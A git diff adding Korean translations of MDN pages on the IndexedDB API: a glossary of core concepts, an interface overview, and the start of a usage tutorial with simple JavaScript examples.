+ <dd>Database가 처음 만들어질 때, 그것의 version은 interger 1이다. 각 database는 한번에 하나의 version을 가진다; 하나의 데이터베이스가 한번에 여러 version으로 존재할 수 없다. version을 바꾸는 유일한 방법은 현재 버전보다 큰 버전으로 그것을 여는 것이다. 이는 <a href="/en-US/docs/Web/API/IDBVersionChangeRequest"><code>versionchange</code></a> <em>transaction을 시작하고</em> <a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB"><code>upgradeneeded</code></a> event를 fire한다. database의 schema를 변경할 수 있는 유일한 곳은 그 event의 handler 내부이다.</dd>
+ <dd>Note: This definition describes the <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">most recent specification</a>, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a> method.</dd>
+ <dt><a name="gloss_database_connection">database connection</a></dt>
+ <dd> <em><a href="#gloss_database">database</a>를 여는 것에 의해 생성되는 operation</em>. 한 주어진 database는 동시에 여러개의 connections를 가질 수 있다.</dd>
+ <dt><a name="gloss_transaction">transaction</a></dt>
+ <dd>
+ <p>특정 database에 대한 data-access와 data-modification operations의 원자적이고 견고한 집합. 그것이 database에서 당신이 data로 상호작용하는 방법이다. 사실, database에서의 어떠한 data의 읽기 또는 변경도 transaction 내에서 일어나야 한다.</p>
+
+ <p>하나의 database connection은 한번에 그에 연관된 여러 active transaction을 가질 수 있다, writing transactions이 겹치는 <em><a href="#scope">scopes</a>을 갖지 않는 동안</em>. 생성에서 정의되는  transactions의 scope은 그 transaction이 어느 object stores와 상호작용할 수 있는지를 결정하고 그 transaction의 lifetime동안 일정하다. 따라서, 예를 들어, 만약 한 database connection이 <code>flyingMonkey</code> object store를 커버하는 scope의 writing transaction을 이미 가지면, 당신은  <code>unicornCentaur과</code> <code>unicornPegasus</code> object stores의 scope을 가진 두번째 transaction을 시작할 수 있다. reading transactions로서, 당신은 여러개를 가질 수 있다 — 심지어 겹치는 것들이라도.</p>
+
+ <p>Transactions는 short-lived일 것이 기대된다, 그래서 브라우저는 너무 오래걸리는 transaction을 종료할 수 있다, 그 long-running transaction이 lock한 storage resources를 해제하기 위해. 당신은 transaction을 abort할 수 있다 , 이는 그 transaction에서 만들어진 변경들을 roll back한다. 그리고 당신은 심지어 transaction을 abort하기 위해 그것이 시작되거나 활성화되기를 기다릴 필요가 없다.</p>
+
+ <p>Transaction의 세가지 모드는: <code>readwrite</code>, <code>readonly</code>, 그리고 <code>versionchange</code>. Object stores와 indexes를 생성하는 유일한 방법은 <a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB"><code>versionchange</code></a> transaction을 이용하는 것이다. transaction types를 더 배우기 위해, <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>에 대한 reference article을 보라.</p>
+
+ <p>모든 것은 하나의 transaction에서 일어나기 때문에, IndexedDB에서 그것은 매우 중요한 개념이다. transactions에 대해 더 배우기 위해, 특히 그것들이 어떻게 versioning과 관련되는가에 대해, <a href="../../../../en/IndexedDB/IDBTransaction" rel="internal">IDBTransaction</a>를 보라, 그는 또한 reference documentation을 가진다. synchronous API에 대한 문서를 위해, <a href="../../../../en/IndexedDB/IDBTransactionSync" rel="internal">IDBTransactionSync</a>를 보라.</p>
+ </dd>
+ <dt><a name="gloss_request">request</a></dt>
+ <dd>database에 읽고 쓰기를 행하는 operation. 모든 request는 하나의 읽기 혹은 쓰기 operation을 나타낸다.</dd>
+ <dt><a name="gloss_index">index</a></dt>
+ <dd>
+ <p>하나의 index는 다른 object store의 records를 찾기 위한 specialized object store이다, <em>referenced object store라 불리는</em>. index는 그 records의 value part가 referenced object store의 한 record의 key part인 영구적인 key-value storage이다. 하나의 index의 records는 referenced object안에 record가 삽입되고 update되고 삭제될 때마다 자동적으로 생성된다. 하나의 index의 각 record는 그의 referenced object store의 오직 하나의 record를 가리킬 수 있다, 그러나 여러 indexes가 같은 object store를 참조할 수 있다. object store가 변할 때, 그 object store를 참조하는 모든 index는 자동으로 update된다.</p>
+
+ <p><span style="line-height: 1.5;">다른 방법으로, </span><a href="#gloss_key" style="line-height: 1.5;">key</a><span style="line-height: 1.5;">를 사용해서 object store에서 records를 찾을 수 있다</span><em>.</em></p>
+
+ <p>indexes 사용하기에 대해 더 배우기 위해, <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Using IndexedDB</a>를 보라. index에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>를 보라.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Key and value</h3>
+
+<dl>
+ <dt><a name="gloss_key">key</a></dt>
+ <dd>
+ <p>object store에서 이에 의해 저장된 values가 조직되고 조회되는 하나의 data value. object store는 세 sources 중 하나로부터 key를 이끌어낼 수 있다: <em><a href="#gloss_keygenerator">key generator</a></em>, <em><a href="#gloss_keypath">key path</a></em>, 또는 명시적으로 지정된 value. key는 그 앞에 있는 것보다 큰 값을 지닌 한 data type의 것이어야 한다. object store의 각 record는 같은 store 내에서 유일한 key를 가져야 한다, 따라서 당신은 주어진 object store에서 같은 key의 여러 records를 가질 수 없다.</p>
+
+ <p>하나의 key는 다음의 types 중 하나가 될 수 있다: <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float, 그리고 <a href="/en/JavaScript/Reference/Global_Objects/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a>. arrays에 대해, key는 empty value로부터 infinity의 범위가 될 수 있다. 그리고 당신은 array 내에 array를 포함할 수 있다. string 또는 integer의 key만 사용해야 한다는 요구사항은 없다{{ fx_minversion_inline("11") }}.</p>
+
+ <p>다른 방법으로, 당신은 <em><a href="#gloss_index">index</a>를 사용해서 object store에서 records를 찾을 수 있다.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">key generator</a></dt>
+ <dd>정렬 sequence로 새 keys를 생성하기 위한 mechanism. 만약 한 object store가 key generator를 가지지 않으면, application은 저장되는 records를 위한 keys를 제공해야 한다. Generators는 stores 간에 공유되지 않는다. 이것은 브라우저 구현 세부사항에 가깝다, 때문에 web 개발에서, 당신은 실제로 key generators를 만들고 접근할 필요가 없다.</dd>
+ <dt><a name="gloss_inline_key">in-line key</a></dt>
+ <dd>저장되는 value의 부분으로서 저장되는 key. <em>key path를 사용함으로써 찾아진다</em>. 하나의 in-line key는 generator를 이용해서 생성될 수 있다. key가 생성된 후에, 그것은 key path를 사용하는 value에 저장될 수 있거나 key로서 사용될 수 있다.</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key</a></dt>
+ <dd>저장되는 value와는 따로 저장되는 key.</dd>
+ <dt><a name="gloss_keypath">key path</a></dt>
+ <dd>object store 또는 index에서 브라우저가 어디로부터 key를 추출해야 하는지 정의한다. 하나의 valid key path는 다음 중 하나를 포함할 수 있다: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods. 그것은 spaces를 포함할 수 없다.</dd>
+ <dt><a name="gloss_value">value</a></dt>
+ <dd>
+ <p>각각의 record는 하나의 value를 가진다, 이는 javascript로 표현될 수 있는 어떤 것이라도 포함할 수 있다, <a href="/en/JavaScript/Reference/Global_Objects/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a>, <a href="/en/JavaScript/Reference/Global_Objects/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a>, <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" rel="internal" title="en/JavaScript/Reference/Global_Objects/Array">array</a>, <a href="/en/JavaScript/Reference/Global_Objects/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a>, 그리고 null을 포함해서.</p>
+
+ <p>object 또는 array가 저장될 때, 그 object 또는 array의  properties 와 values는 적합한 어떤 값이라도 될 수 있다.</p>
+
+ <p><a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a>와 files가 저장될 수 있다, cf. <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">specification</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Range and scope</h3>
+
+<dl>
+ <dt>scope</dt>
+ <dd>한 transaction이 적용되는 object stores와 indexe. read-only transactions의 scope은 겹칠 수 있고 동시에 실행될 수 있다. 한편으로, writing transactions의 scope은 겹칠 수 없다. 당신은 여전히 동시에 같은 scope의 여러 transaction을 실행할 수 있지만 그들은 queue up하고 하나하나 차례로 실행된다.</dd>
+ <dt>cursor</dt>
+ <dd>한 key range의 여러 records에 대한 iterating을 위한 mechanism. The cursor는 그것이 iterating하는 것이 어느 index또는 object store인지 가리키는 한 source를 가진다. 그것은 그 range 내의 position을 가지고, record keys의 순서에서 증가 혹은 감소하는 한 방향으로 움직인다. cursors에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBCursor" rel="internal">IDBCursor</a> 또는 <a href="../../../../en/IndexedDB/IDBCursorSync" rel="internal">IDBCursorSync</a>를 보라.</dd>
+ <dt>key range</dt>
+ <dd>
+ <p>keys를 위해 사용되는 몇몇 data type에 대한 하나의 연속 구간. Records는 keys 또는 하나의 range of keys를 사용하는 object sotres와 indexes로부터 조회될 수 있다. 당신은 lower 그리고 upper bound를 사용해서 range를 제한하거나 걸러낼 수 있다. 예를 들어, 당신은 x와 y 사이의 한 key의 모든 값에 대해 iterate할 수 있다.</p>
+
+ <p>key range에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>를 보라.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">한계점들</h2>
+
+<p>IndexedDB는 client-side storage가 필요한 대부분의 경우를 해결하기 위해 만들어졌다. 하지만 그것은 다음과 같은 몇 가지 경우를 해결하진 못 한다:</p>
+
+<ul>
+ <li>Internationalized sorting. 모든 언어가 strings를 같은 방법으로 정렬하지 않기 때문에 internationalized sorting은 지원되지 않는다. database가 특정 internationalized order로 데이터를 정렬할 수 없는 반면, 당신이 스스로 database 바깥으로 data를 읽어와서 정렬할 수 있다.</li>
+ <li>Synchronizing. 이 API는 server-side database와의 동기화를 다루기 위해 제작되지 않았다. 당신이 스스로 client-side indexedDB database를 server-side database와 동기화시키는 코드를 작성해야 한다.</li>
+ <li>Full text searching. 이 API는 SQL의 <span style="direction: ltr;"><code>LIKE</code> operator의 equivalent를 가지지 않는다. </span></li>
+</ul>
+
+<p>덧붙여서, 다음과 같은 조건에서 브라우저가 데이터베이스를 지울 수 있음을 알아두라:</p>
+
+<ul>
+ <li>유저가 삭제를 요청한다. 많은 브라우저는 유저가 주어진 웹페이지에 대해 저장된 데이터를 지울 수 있도록 한다, cookies, bookmarks, stored passwords, 그리고 IndexedDB data를 포함해서.</li>
+ <li>브라우저가 private browsing mode 상태에 있다. 특정 브라우저들은 (Firefox의 경우) "private browsing" 혹은 (Chrome의 경우) "incognito" modes 를 가지고 있다. 그 session의 끝에서, 브라우저는 그 데이터베이스를 지운다.</li>
+ <li>disk 또는 quota limit에 다다랐다.</li>
+ <li>데이터가 오염되었다.</li>
+ <li>그 feature에 호환되지 않는 변경이 이루어졌다.</li>
+</ul>
+
+<p>실제 환경과 브라우저 호환성은 시간에 따라 변하지만, 브라우저 제조사의 기본 철학은 가능한한 데이터를 유지하는 데에 최대한 노력하는 것이다.</p>
+
+<h2 id="next" name="next">Next steps</h2>
+
+<p>자 이제 이들 지식을 가지고서 , 우리는 더 큰 것들을 가질 수 있게 되었다.the API 사용법에 대한 튜토리얼을 위해서, <a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>를 보라.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/indexeddb_api/index.html b/files/ko/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..4b9e381843
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/index.html
@@ -0,0 +1,157 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+tags:
+ - API
+ - Advanced
+ - Database
+ - IndexedDB
+ - Landing
+ - Reference
+ - Storage
+translation_of: Web/API/IndexedDB_API
+---
+<div>{{DefaultAPISidebar("IndexedDB")}}</div>
+
+<p><span class="seoSummary"><strong>IndexedDB</strong>는 파일이나 블롭 등 많은 양의 구조화된 데이터를 클라이언트에 저장하기 위한 로우 레벨 API입니다.</span> IndexedDB API는 인덱스를 사용해 데이터를 고성능으로 탐색할 수 있습니다. <a href="/ko/docs/Web/API/Web_Storage_API" title="ko/docs/DOM/Storage">Web Storage</a>는 적은 양의 데이터를 저장하는데 유용하지만 많은 양의 구조화된 데이터에는 적합하지 않은데, 이런 상황에서 IndexedDB를 사용할 수 있습니다. 이 페이지는 MDN에서 IndexedDB에 대한 내용을 다루는 시작 문서로 전체 API 참고서, 사용 안내서, 세부적인 브라우저 지원 상황, 그리고 핵심 개념에 대한 설명을 제공하는 링크를 찾을 수 있습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: IndexedDB API는 강력하지만, 간단하게 사용하기엔 좀 복잡해 보일 수 있습니다. 보다 단순한 API를 선호한다면, IndexDB를 좀 더 프로그래머 친화적으로 만들어주는 <a href="https://localforage.github.io/localForage/">localForage</a>, <a href="http://www.dexie.org/">dexie.js</a>, <a href="https://github.com/erikolson186/zangodb">ZangoDB</a>, <a href="https://pouchdb.com/">PouchDB</a>, <a href="https://www.npmjs.com/package/idb">idb</a>, <a href="https://www.npmjs.com/package/idb-keyval">idb-keyval</a>, <a href="http://jsstore.net/">JsStore</a> 같은 라이브러리를 알아보세요.</p>
+</div>
+
+<h2 id="핵심_개념과_사용">핵심 개념과 사용</h2>
+
+<p>IndexedDB는 SQL을 사용하는 관계형 데이터베이스(RDBMS)와 같이 트랜잭션을 사용하는 데이터베이스 시스템입니다. 그러나 IndexedDB는 RDBMS의 고정컬럼 테이블 대신 JavaScript 기반의 객체지향 데이터베이스입니다. IndexedDB의 데이터는 인덱스 <strong>키</strong>를 사용해 저장하고 회수할 수 있으며, <a href="/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">구조화된 복사 알고리즘</a>을 지원하는 객체라면 모두 저장할 수 있습니다. 사용하려면 데이터베이스 스키마를 지정하고, 데이터베이스와 통신을 연 후에, 일련의 <strong>트랜잭션</strong>을 통해 데이터를 가져오거나 업데이트해야 합니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">IndexedDB의 기본 개념</a>에 대해 더 알아보세요.</li>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB">IndexedDB 사용하기</a> 안내서를 통해 IndexedDB의 기초적인 비동기 사용법을 배워보세요.</li>
+ <li><a href="/ko/docs/Web/Progressive_web_apps/Offline_Service_workers">서비스 워커를 사용해 PWA가 오프라인에서 동작하게 만들기</a> 문서에서 IndexedDB를 사용해 오프라인 데이터를 저장하고, 서비스 워커를 사용해 오프라인 자산을 저장하는 방법을 살펴보세요.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 대부분의 웹 저장 솔루션처럼, IndexedDB도 <a href="https://www.w3.org/Security/wiki/Same_Origin_Policy">동일 출처 정책</a>을 따릅니다. 그렇기 때문에, 저장한 데이터는 같은 도메인에서만 접근할 수 있으며 다른 도메인에서는 접근할 수 없습니다.</p>
+</div>
+
+<h3 id="동기와_비동기">동기와 비동기</h3>
+
+<p>IndexedDB 작업은 애플리케이션 블록을 방지하기 위해 모두 비동기로 이뤄집니다. 이전엔 동기적 API와 비동기적 API 모두 있었으며, 동기적 API는 <a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커</a>에서만 사용할 용도였습니다. 그러나 그 필요성에 대한 의문으로 인해 명세에서 제거된 상황입니다. 다만 충분한 수요가 있다면 동기적 API가 미래에 다시 추가될 수도 있습니다.</p>
+
+<h3 id="저장_용량_한도와_제거_기준">저장 용량 한도와 제거 기준</h3>
+
+<p>하나의 종류 또는 다른 종류의 데이터를 클라이언트 측(즉, 로컬 디스크 상)에 저장하는 웹 기술은 많습니다. IndexedDB는 가장 일반적으로 언급되는 것입니다. 브라우저가 얼마만큼의 공간을 web data storage에 할당할지 그리고 용량이 한계에 도달했을 때 무엇을 지울지의 프로세스는 간단하지 않고, 브라우저마다 다릅니다. <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저 저장 공간 제한과 퇴거 기준</a>을 Firefox의 경우 이 작동 방식을 설명하려고 시도합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>To get access to a database, call <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBFactory.open"><code>open()</code></a> on the <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> attribute of a <a href="https://developer.mozilla.org/en-US/docs/DOM/window">window</a> object. This method returns an {{domxref("IDBRequest")}} object; asynchronous operations communicate to the calling application by firing events on {{domxref("IDBRequest")}} objects.</p>
+
+<h3 id="데이터베이스_연결">데이터베이스 연결</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Provides access to IndexedDB functionality. It is implemented by the {{domxref("window")}} and {{domxref("worker")}} objects. This interface isn't part of the 2.0 specification.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Provides access to a database. This is the interface implemented by the global object <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> and is therefore the entry point for the API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Represents a request to open a database.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Represents a connection to a database. It's the only way to get a transaction on the database.</dd>
+</dl>
+
+<h3 id="데이터_가져오기_및_수정하기">데이터 가져오기 및 수정하기</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Represents a transaction. You create a transaction on a database, specify the scope (such as which object stores you want to access), and determine the kind of access (read only or readwrite) that you want.</dd>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Generic interface that handles database requests and provides access to results.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Represents an object store that allows access to a set of data in an IndexedDB database, looked up via primary key.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Also allows access to a subset of data in an IndexedDB database, but uses an index to retrieve the record(s) rather than the primary key. This is sometimes faster than using {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Iterates over object stores and indexes.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Iterates over object stores and indexes and returns the cursor's current value.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Defines a key range that can be used to retrieve data from a database in a certain range.</dd>
+ <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
+ <dd>Defines a key range that can be used to retrieve data from a database in a certain range, sorted according to the rules of the locale specified for a certain index (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). This interface isn't part of the 2.0 specification.</dd>
+</dl>
+
+<h3 id="사용자_지정_이벤트_인터페이스">사용자 지정 이벤트 인터페이스</h3>
+
+<p>This specification fires events with the following custom interface:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeEvent")}}</dt>
+ <dd>The <code>IDBVersionChangeEvent</code> interface indicates that the version of the database has changed, as the result of an {{domxref("IDBOpenDBRequest.onupgradeneeded")}} event handler function.</dd>
+</dl>
+
+<h3 id="폐기된_인터페이스">폐기된 인터페이스</h3>
+
+<p>An early version of the specification also defined these now removed interfaces. They are still documented in case you need to update previously written code:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
+ <dd>Represents a request to change the version of a database. The way to change the version of the database has since changed (by calling {{domxref("IDBFactory.open")}} without also calling {{domxref("IDBDatabase.setVersion")}}), and the interface {{domxref("IDBOpenDBRequest")}} now has the functionality of the removed {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}} {{obsolete_inline}}</dt>
+ <dd>Represents exception conditions that can be encountered while performing database operations.</dd>
+ <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBTransaction")}}.</dd>
+ <dt>{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBIndexSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBIndex")}}.</dd>
+ <dt>{{domxref("IDBFactorySync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBEnvironment")}}.</dd>
+ <dt>{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBDatabase")}}.</dd>
+ <dt>{{domxref("IDBCursorSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBCursor")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<ul>
+ <li><a href="http://marco-c.github.io/eLibri/">eLibri:</a> A powerful library and eBook reader application, written by Marco Castelluccio, winner of the IndexedDB Mozilla DevDerby.</li>
+ <li><a href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>): The reference application for the examples in the reference docs.</li>
+ <li><a href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Storing images and files in IndexedDB</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("IndexedDB 2")}}</td>
+ <td>{{Spec2("IndexedDB 2")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('IndexedDB')}}</td>
+ <td>{{Spec2('IndexedDB')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: A Polyfill providing a simple name:value syntax for client-side data storage, which uses IndexedDB in the background, but falls back to WebSQL and then localStorage in browsers that don't support IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">Dexie.js</a>: A wrapper for IndexedDB that allows much faster code development via nice, simple syntax.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: A MongoDB-like interface for IndexedDB that supports most of the familiar filtering, projection, sorting, updating and aggregation features of MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: An IndexedDB wrapper with SQL like syntax.</li>
+ <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: A client-side in-memory mongodb backed by localstorage with server sync over http. MiniMongo is used by MeteorJS.</li>
+ <li><a href="https://pouchdb.com/">PouchDB</a>: A client-side implementation of CouchDB in the browser using IndexedDB</li>
+</ul>
diff --git a/files/ko/web/api/indexeddb_api/using_indexeddb/index.html b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html
new file mode 100644
index 0000000000..13fe4e6ea4
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html
@@ -0,0 +1,1325 @@
+---
+title: IndexedDB 사용하기
+slug: Web/API/IndexedDB_API/Using_IndexedDB
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<p class="summary">IndexedDB는 사용자의 브라우저에 데이터를 영구적으로 저장할 수 있는 방법 중 하나입니다. IndexedDB를 사용하여 네트워크 상태에 상관없이 풍부한 쿼리 기능을 이용할 수 있는 웹 어플리케이션을 만들 수 있기 때문에, 여러분의 웹 어플리케이션은 온라인과 오프라인 환경에서 모두 동작할 수 있습니다. </p>
+
+<h2 id="이_문서에_대하여">이 문서에 대하여</h2>
+
+<p>여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, <a href="/ko/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB">Basic Concepts About IndexedDB</a> 를 먼저 읽어보는 것이 좋습니다.</p>
+
+<p>IndexedDB API에 대한 참조(reference) 문서를 원한다면, <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.</p>
+
+<h2 id="pattern" name="pattern">기본 패턴</h2>
+
+<p>IndexedDB가 권장하는 기본 패턴은 다음과 같습니다:</p>
+
+<ol>
+ <li>데이터베이스를 엽니다.</li>
+ <li>객체 저장소(Object store)를 생성합니다. </li>
+ <li>트랜젝션(Transaction)을 시작하고, 데이터를 추가하거나 읽어들이는 등의 데이터베이스 작업을 요청합니다.</li>
+ <li>DOM 이벤트 리스너를 사용하여 요청이 완료될때까지 기다립니다.</li>
+ <li>(요청 객체에서 찾을 수 있는) 결과를 가지고 무언가를 합니다.</li>
+</ol>
+
+<p>그러면 이제, 이런 큰 개념을 익히면 더 구체적인 것을 할 수 있습니다.</p>
+
+<h2 id="open" name="open">저장소를 생성하고 구성하기</h2>
+
+<h3 id="Indexed_DB_의_실험적인_버전을_사용해보기">Indexed DB 의 실험적인 버전을 사용해보기</h3>
+
+<p>접두어를 사용하는 브라우저에서 코드를 테스트하려는 경우 다음 코드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)</pre>
+
+<p>접두어를 사용하여 구현하는 것은 버그가 있거나 불완전하거나 이전 버전의 사양을 따르는 경우가 있습니다. 따라서 프로덕션 상태의 코드에선 사용하지 않는 것을 권장합니다. 제대로 지원하지 않는 브라우저를 지원하게 구현하여 실패하는 것보다 미지원 하는 것이 바람직할 수 있습니다.:</p>
+
+<pre class="brush: js notranslate">if (!window.indexedDB) {
+ window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+}
+</pre>
+
+<h3 id="데이터베이스_열기">데이터베이스 열기</h3>
+
+<p>우리는 밑의 프로그래밍 코드로 시작할 것입니다:</p>
+
+<pre class="brush: js notranslate">// 내 데이터 베이스를 열도록 요청하자
+var request = window.indexedDB.open("MyTestDatabase");
+</pre>
+
+<p>보셨나요? 데이터베이스 접속은 다른 operation 들과 비슷합니다 — 당신은 "요청(request)" 하면 됩니다.</p>
+
